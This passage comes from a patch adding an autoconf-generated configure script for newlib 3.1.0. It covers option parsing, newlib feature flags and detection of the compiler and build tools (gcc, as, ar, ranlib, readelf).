-site=* | --site=* | --sit=*) ++ site=$ac_optarg ;; ++ ++ -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) ++ ac_prev=srcdir ;; ++ -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) ++ srcdir=$ac_optarg ;; ++ ++ -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ ++ | --syscon | --sysco | --sysc | --sys | --sy) ++ ac_prev=sysconfdir ;; ++ -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ ++ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) ++ sysconfdir=$ac_optarg ;; ++ ++ -target | --target | --targe | --targ | --tar | --ta | --t) ++ ac_prev=target_alias ;; ++ -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) ++ target_alias=$ac_optarg ;; ++ ++ -v | -verbose | --verbose | --verbos | --verbo | --verb) ++ verbose=yes ;; ++ ++ -version | --version | --versio | --versi | --vers | -V) ++ ac_init_version=: ;; ++ ++ -with-* | --with-*) ++ ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` ++ # Reject names that are not valid shell variable names. ++ expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && ++ as_fn_error $? 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"invalid package name: $ac_useropt" ++ ac_useropt_orig=$ac_useropt ++ ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` ++ case $ac_user_opts in ++ *" ++"with_$ac_useropt" ++"*) ;; ++ *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" ++ ac_unrecognized_sep=', ';; ++ esac ++ eval with_$ac_useropt=no ;; ++ ++ --x) ++ # Obsolete; use --with-x. ++ with_x=yes ;; ++ ++ -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ ++ | --x-incl | --x-inc | --x-in | --x-i) ++ ac_prev=x_includes ;; ++ -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ ++ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) ++ x_includes=$ac_optarg ;; ++ ++ -x-libraries | --x-libraries | --x-librarie | --x-librari \ ++ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) ++ ac_prev=x_libraries ;; ++ -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ ++ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) ++ x_libraries=$ac_optarg ;; ++ ++ -*) as_fn_error $? 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"bad value ${enableval} for multilib option" "$LINENO" 5 ;; ++ esac ++else ++ multilib=yes ++fi ++ ++# Check whether --enable-target-optspace was given. ++if test "${enable_target_optspace+set}" = set; then : ++ enableval=$enable_target_optspace; case "${enableval}" in ++ yes) target_optspace=yes ;; ++ no) target_optspace=no ;; ++ *) as_fn_error $? "bad value ${enableval} for target-optspace option" "$LINENO" 5 ;; ++ esac ++else ++ target_optspace= ++fi ++ ++# Check whether --enable-malloc-debugging was given. ++if test "${enable_malloc_debugging+set}" = set; then : ++ enableval=$enable_malloc_debugging; case "${enableval}" in ++ yes) malloc_debugging=yes ;; ++ no) malloc_debugging=no ;; ++ *) as_fn_error $? "bad value ${enableval} for malloc-debugging option" "$LINENO" 5 ;; ++ esac ++else ++ malloc_debugging= ++fi ++ ++# Check whether --enable-newlib-multithread was given. ++if test "${enable_newlib_multithread+set}" = set; then : ++ enableval=$enable_newlib_multithread; case "${enableval}" in ++ yes) newlib_multithread=yes ;; ++ no) newlib_multithread=no ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-multithread option" "$LINENO" 5 ;; ++ esac ++else ++ newlib_multithread=yes ++fi ++ ++# Check whether --enable-newlib-iconv was given. ++if test "${enable_newlib_iconv+set}" = set; then : ++ enableval=$enable_newlib_iconv; if test "${newlib_iconv+set}" != set; then ++ case "${enableval}" in ++ yes) newlib_iconv=yes ;; ++ no) newlib_iconv=no ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-iconv option" "$LINENO" 5 ;; ++ esac ++ fi ++else ++ newlib_iconv=${newlib_iconv} ++fi ++ ++# Check whether --enable-newlib-elix-level was given. ++if test "${enable_newlib_elix_level+set}" = set; then : ++ enableval=$enable_newlib_elix_level; case "${enableval}" in ++ 0) newlib_elix_level=0 ;; ++ 1) newlib_elix_level=1 ;; ++ 2) newlib_elix_level=2 ;; ++ 3) newlib_elix_level=3 ;; ++ 4) newlib_elix_level=4 ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-elix-level option" "$LINENO" 5 ;; ++ esac ++else ++ newlib_elix_level=0 ++fi ++ ++# Check whether --enable-newlib-io-float was given. ++if test "${enable_newlib_io_float+set}" = set; then : ++ enableval=$enable_newlib_io_float; case "${enableval}" in ++ yes) newlib_io_float=yes ;; ++ no) newlib_io_float=no ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-io-float option" "$LINENO" 5 ;; ++ esac ++else ++ newlib_io_float=yes ++fi ++ ++# Check whether --enable-newlib-supplied-syscalls was given. ++if test "${enable_newlib_supplied_syscalls+set}" = set; then : ++ enableval=$enable_newlib_supplied_syscalls; case "${enableval}" in ++ yes) newlib_may_supply_syscalls=yes ;; ++ no) newlib_may_supply_syscalls=no ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-supplied-syscalls option" "$LINENO" 5 ;; ++ esac ++else ++ newlib_may_supply_syscalls=yes ++fi ++ ++ if test x${newlib_may_supply_syscalls} = xyes; then ++ MAY_SUPPLY_SYSCALLS_TRUE= ++ MAY_SUPPLY_SYSCALLS_FALSE='#' ++else ++ MAY_SUPPLY_SYSCALLS_TRUE='#' ++ MAY_SUPPLY_SYSCALLS_FALSE= ++fi ++ ++ ++# Check whether --enable-newlib-fno-builtin was given. ++if test "${enable_newlib_fno_builtin+set}" = set; then : ++ enableval=$enable_newlib_fno_builtin; case "${enableval}" in ++ yes) newlib_fno_builtin=yes ;; ++ no) newlib_fno_builtin=no ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-fno-builtin option" "$LINENO" 5 ;; ++ esac ++else ++ newlib_fno_builtin= ++fi ++ ++ ++ ++test -z "${with_target_subdir}" && with_target_subdir=. ++ ++if test "${srcdir}" = "."; then ++ if test "${with_target_subdir}" != "."; then ++ newlib_basedir="${srcdir}/${with_multisrctop}../../../.." ++ else ++ newlib_basedir="${srcdir}/${with_multisrctop}../../.." ++ fi ++else ++ newlib_basedir="${srcdir}/../../.." ++fi ++ ++ ++ ++ ++if test "`cd $srcdir && pwd`" != "`pwd`"; then ++ # Use -I$(srcdir) only when $(srcdir) != ., so that make's output ++ # is not polluted with repeated "-I." ++ am__isrc=' -I$(srcdir)' ++ # test to see if srcdir already configured ++ if test -f $srcdir/config.status; then ++ as_fn_error $? "source directory already configured; run \"make distclean\" there first" "$LINENO" 5 ++ fi ++fi ++ ++# test whether we have cygpath ++if test -z "$CYGPATH_W"; then ++ if (cygpath --version) >/dev/null 2>/dev/null; then ++ CYGPATH_W='cygpath -w' ++ else ++ CYGPATH_W=echo ++ fi ++fi ++ ++ ++# Define the identity of the package. ++ PACKAGE='newlib' ++ VERSION='3.1.0' ++ ++ ++# Some tools Automake needs. ++ ++ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"} ++ ++ ++AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"} ++ ++ ++AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"} ++ ++ ++AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"} ++ ++ ++MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"} ++ ++# We need awk for the "check" target. The system "awk" is bad on ++# some platforms. ++# Always define AMTAR for backward compatibility. Yes, it's still used ++# in the wild :-( We should find a proper way to deprecate it ... ++AMTAR='$${TAR-tar}' ++ ++am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -' ++ ++ ++ ++ ++ ++ ++# FIXME: We temporarily define our own version of AC_PROG_CC. This is ++# copied from autoconf 2.12, but does not call AC_PROG_CC_WORKS. We ++# are probably using a cross compiler, which will not be able to fully ++# link an executable. This should really be fixed in autoconf ++# itself. ++ ++ ++ ++ ++ ++ ++ ++# Extract the first word of "gcc", so it can be a program name with args. ++set dummy gcc; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... 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For instance ++ # both Tru64's cc and ICC support -MD to output dependencies as a ++ # side effect of compilation, but ICC will put the dependencies in ++ # the current directory while Tru64 will put them in the object ++ # directory. ++ mkdir sub ++ ++ am_cv_CC_dependencies_compiler_type=none ++ if test "$am_compiler_list" = ""; then ++ am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` ++ fi ++ am__universal=false ++ case " $depcc " in #( ++ *\ -arch\ *\ -arch\ *) am__universal=true ;; ++ esac ++ ++ for depmode in $am_compiler_list; do ++ # Setup a source with many dependencies, because some compilers ++ # like to wrap large dependency lists on column 80 (with \), and ++ # we should not choose a depcomp mode which is confused by this. ++ # ++ # We need to recreate these files for each test, as the compiler may ++ # overwrite some of them when testing with obscure command lines. ++ # This happens at least with the AIX C compiler. ++ : > sub/conftest.c ++ for i in 1 2 3 4 5 6; do ++ echo '#include "conftst'$i'.h"' >> sub/conftest.c ++ # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with ++ # Solaris 8's {/usr,}/bin/sh. ++ touch sub/conftst$i.h ++ done ++ echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf ++ ++ # We check with `-c' and `-o' for the sake of the "dashmstdout" ++ # mode. It turns out that the SunPro C++ compiler does not properly ++ # handle `-M -o', and we need to detect this. Also, some Intel ++ # versions had trouble with output in subdirs ++ am__obj=sub/conftest.${OBJEXT-o} ++ am__minus_obj="-o $am__obj" ++ case $depmode in ++ gcc) ++ # This depmode causes a compiler race in universal mode. ++ test "$am__universal" = false || continue ++ ;; ++ nosideeffect) ++ # after this tag, mechanisms are not by side-effect, so they'll ++ # only be used when explicitly requested ++ if test "x$enable_dependency_tracking" = xyes; then ++ continue ++ else ++ break ++ fi ++ ;; ++ msvc7 | msvc7msys | msvisualcpp | msvcmsys) ++ # This compiler won't grok `-c -o', but also, the minuso test has ++ # not run yet. These depmodes are late enough in the game, and ++ # so weak that their functioning should not be impacted. ++ am__obj=conftest.${OBJEXT-o} ++ am__minus_obj= ++ ;; ++ none) break ;; ++ esac ++ if depmode=$depmode \ ++ source=sub/conftest.c object=$am__obj \ ++ depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ ++ $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ ++ >/dev/null 2>conftest.err && ++ grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && ++ grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && ++ grep $am__obj sub/conftest.Po > /dev/null 2>&1 && ++ ${MAKE-make} -s -f confmf > /dev/null 2>&1; then ++ # icc doesn't choke on unknown options, it will just issue warnings ++ # or remarks (even with -Werror). So we grep stderr for any message ++ # that says an option was ignored or not supported. ++ # When given -MP, icc 7.0 and 7.1 complain thusly: ++ # icc: Command line warning: ignoring option '-M'; no argument required ++ # The diagnosis changed in icc 8.0: ++ # icc: Command line remark: option '-MP' not supported ++ if (grep 'ignoring option' conftest.err || ++ grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else ++ am_cv_CC_dependencies_compiler_type=$depmode ++ break ++ fi ++ fi ++ done ++ ++ cd .. ++ rm -rf conftest.dir ++else ++ am_cv_CC_dependencies_compiler_type=none ++fi ++ ++fi ++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $am_cv_CC_dependencies_compiler_type" >&5 ++$as_echo "$am_cv_CC_dependencies_compiler_type" >&6; } ++CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type ++ ++ if ++ test "x$enable_dependency_tracking" != xno \ ++ && test "$am_cv_CC_dependencies_compiler_type" = gcc3; then ++ am__fastdepCC_TRUE= ++ am__fastdepCC_FALSE='#' ++else ++ am__fastdepCC_TRUE='#' ++ am__fastdepCC_FALSE= ++fi ++ ++ ++if test -z "$CC"; then ++ # Extract the first word of "cc", so it can be a program name with args. ++set dummy cc; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_CC+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$CC"; then ++ ac_cv_prog_CC="$CC" # Let the user override the test. ++else ++ ac_prog_rejected=no ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ++ ac_prog_rejected=yes ++ continue ++ fi ++ ac_cv_prog_CC="cc" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++if test $ac_prog_rejected = yes; then ++ # We found a bogon in the path, so make sure we never use it. ++ set dummy $ac_cv_prog_CC ++ shift ++ if test $# != 0; then ++ # We chose a different compiler from the bogus one. ++ # However, it has the same basename, so the bogon will be chosen ++ # first if we set CC to just the basename; use the full file name. ++ shift ++ ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" ++ fi ++fi ++fi ++fi ++CC=$ac_cv_prog_CC ++if test -n "$CC"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 ++$as_echo "$CC" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ ++ test -z "$CC" && as_fn_error $? "no acceptable cc found in \$PATH" "$LINENO" 5 ++fi ++ ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using GNU C" >&5 ++$as_echo_n "checking whether we are using GNU C... " >&6; } ++if ${ac_cv_c_compiler_gnu+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ cat > conftest.c <&5 ++ (eval $ac_try) 2>&5 ++ ac_status=$? ++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 ++ test $ac_status = 0; }; } | egrep yes >/dev/null 2>&1; then ++ ac_cv_c_compiler_gnu=yes ++else ++ ac_cv_c_compiler_gnu=no ++fi ++fi ++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 ++$as_echo "$ac_cv_c_compiler_gnu" >&6; } ++ ++if test $ac_cv_c_compiler_gnu = yes; then ++ GCC=yes ++ ac_test_CFLAGS="${CFLAGS+set}" ++ ac_save_CFLAGS="$CFLAGS" ++ ac_test_CFLAGS=${CFLAGS+set} ++ac_save_CFLAGS=$CFLAGS ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 ++$as_echo_n "checking whether $CC accepts -g... " >&6; } ++if ${ac_cv_prog_cc_g+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ ac_save_c_werror_flag=$ac_c_werror_flag ++ ac_c_werror_flag=yes ++ ac_cv_prog_cc_g=no ++ CFLAGS="-g" ++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext ++/* end confdefs.h. */ ++ ++int ++main () ++{ ++ ++ ; ++ return 0; ++} ++_ACEOF ++if ac_fn_c_try_compile "$LINENO"; then : ++ ac_cv_prog_cc_g=yes ++else ++ CFLAGS="" ++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext ++/* end confdefs.h. */ ++ ++int ++main () ++{ ++ ++ ; ++ return 0; ++} ++_ACEOF ++if ac_fn_c_try_compile "$LINENO"; then : ++ ++else ++ ac_c_werror_flag=$ac_save_c_werror_flag ++ CFLAGS="-g" ++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext ++/* end confdefs.h. */ ++ ++int ++main () ++{ ++ ++ ; ++ return 0; ++} ++_ACEOF ++if ac_fn_c_try_compile "$LINENO"; then : ++ ac_cv_prog_cc_g=yes ++fi ++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ++fi ++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ++fi ++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ++ ac_c_werror_flag=$ac_save_c_werror_flag ++fi ++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 ++$as_echo "$ac_cv_prog_cc_g" >&6; } ++if test "$ac_test_CFLAGS" = set; then ++ CFLAGS=$ac_save_CFLAGS ++elif test $ac_cv_prog_cc_g = yes; then ++ if test "$GCC" = yes; then ++ CFLAGS="-g -O2" ++ else ++ CFLAGS="-g" ++ fi ++else ++ if test "$GCC" = yes; then ++ CFLAGS="-O2" ++ else ++ CFLAGS= ++ fi ++fi ++ if test "$ac_test_CFLAGS" = set; then ++ CFLAGS="$ac_save_CFLAGS" ++ elif test $ac_cv_prog_cc_g = yes; then ++ CFLAGS="-g -O2" ++ else ++ CFLAGS="-O2" ++ fi ++else ++ GCC= ++ test "${CFLAGS+set}" = set || CFLAGS="-g" ++fi ++ ++ ++if test -n "$ac_tool_prefix"; then ++ # Extract the first word of "${ac_tool_prefix}as", so it can be a program name with args. ++set dummy ${ac_tool_prefix}as; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_AS+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$AS"; then ++ ac_cv_prog_AS="$AS" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_AS="${ac_tool_prefix}as" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++AS=$ac_cv_prog_AS ++if test -n "$AS"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AS" >&5 ++$as_echo "$AS" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ ++fi ++if test -z "$ac_cv_prog_AS"; then ++ ac_ct_AS=$AS ++ # Extract the first word of "as", so it can be a program name with args. ++set dummy as; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_ac_ct_AS+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$ac_ct_AS"; then ++ ac_cv_prog_ac_ct_AS="$ac_ct_AS" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_ac_ct_AS="as" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++ac_ct_AS=$ac_cv_prog_ac_ct_AS ++if test -n "$ac_ct_AS"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AS" >&5 ++$as_echo "$ac_ct_AS" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ if test "x$ac_ct_AS" = x; then ++ AS="" ++ else ++ case $cross_compiling:$ac_tool_warned in ++yes:) ++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 ++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ++ac_tool_warned=yes ;; ++esac ++ AS=$ac_ct_AS ++ fi ++else ++ AS="$ac_cv_prog_AS" ++fi ++ ++if test -n "$ac_tool_prefix"; then ++ # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args. ++set dummy ${ac_tool_prefix}ar; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_AR+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$AR"; then ++ ac_cv_prog_AR="$AR" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_AR="${ac_tool_prefix}ar" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++AR=$ac_cv_prog_AR ++if test -n "$AR"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5 ++$as_echo "$AR" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ ++fi ++if test -z "$ac_cv_prog_AR"; then ++ ac_ct_AR=$AR ++ # Extract the first word of "ar", so it can be a program name with args. ++set dummy ar; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_ac_ct_AR+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$ac_ct_AR"; then ++ ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_ac_ct_AR="ar" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++ac_ct_AR=$ac_cv_prog_ac_ct_AR ++if test -n "$ac_ct_AR"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AR" >&5 ++$as_echo "$ac_ct_AR" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ if test "x$ac_ct_AR" = x; then ++ AR="" ++ else ++ case $cross_compiling:$ac_tool_warned in ++yes:) ++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 ++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ++ac_tool_warned=yes ;; ++esac ++ AR=$ac_ct_AR ++ fi ++else ++ AR="$ac_cv_prog_AR" ++fi ++ ++if test -n "$ac_tool_prefix"; then ++ # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. ++set dummy ${ac_tool_prefix}ranlib; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_RANLIB+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$RANLIB"; then ++ ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++RANLIB=$ac_cv_prog_RANLIB ++if test -n "$RANLIB"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $RANLIB" >&5 ++$as_echo "$RANLIB" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ ++fi ++if test -z "$ac_cv_prog_RANLIB"; then ++ ac_ct_RANLIB=$RANLIB ++ # Extract the first word of "ranlib", so it can be a program name with args. ++set dummy ranlib; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_ac_ct_RANLIB+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$ac_ct_RANLIB"; then ++ ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_ac_ct_RANLIB="ranlib" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB ++if test -n "$ac_ct_RANLIB"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_RANLIB" >&5 ++$as_echo "$ac_ct_RANLIB" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ if test "x$ac_ct_RANLIB" = x; then ++ RANLIB=":" ++ else ++ case $cross_compiling:$ac_tool_warned in ++yes:) ++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 ++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ++ac_tool_warned=yes ;; ++esac ++ RANLIB=$ac_ct_RANLIB ++ fi ++else ++ RANLIB="$ac_cv_prog_RANLIB" ++fi ++ ++if test -n "$ac_tool_prefix"; then ++ # Extract the first word of "${ac_tool_prefix}readelf", so it can be a program name with args. ++set dummy ${ac_tool_prefix}readelf; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_READELF+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$READELF"; then ++ ac_cv_prog_READELF="$READELF" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_READELF="${ac_tool_prefix}readelf" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++READELF=$ac_cv_prog_READELF ++if test -n "$READELF"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $READELF" >&5 ++$as_echo "$READELF" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ ++fi ++if test -z "$ac_cv_prog_READELF"; then ++ ac_ct_READELF=$READELF ++ # Extract the first word of "readelf", so it can be a program name with args. ++set dummy readelf; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_ac_ct_READELF+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$ac_ct_READELF"; then ++ ac_cv_prog_ac_ct_READELF="$ac_ct_READELF" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test 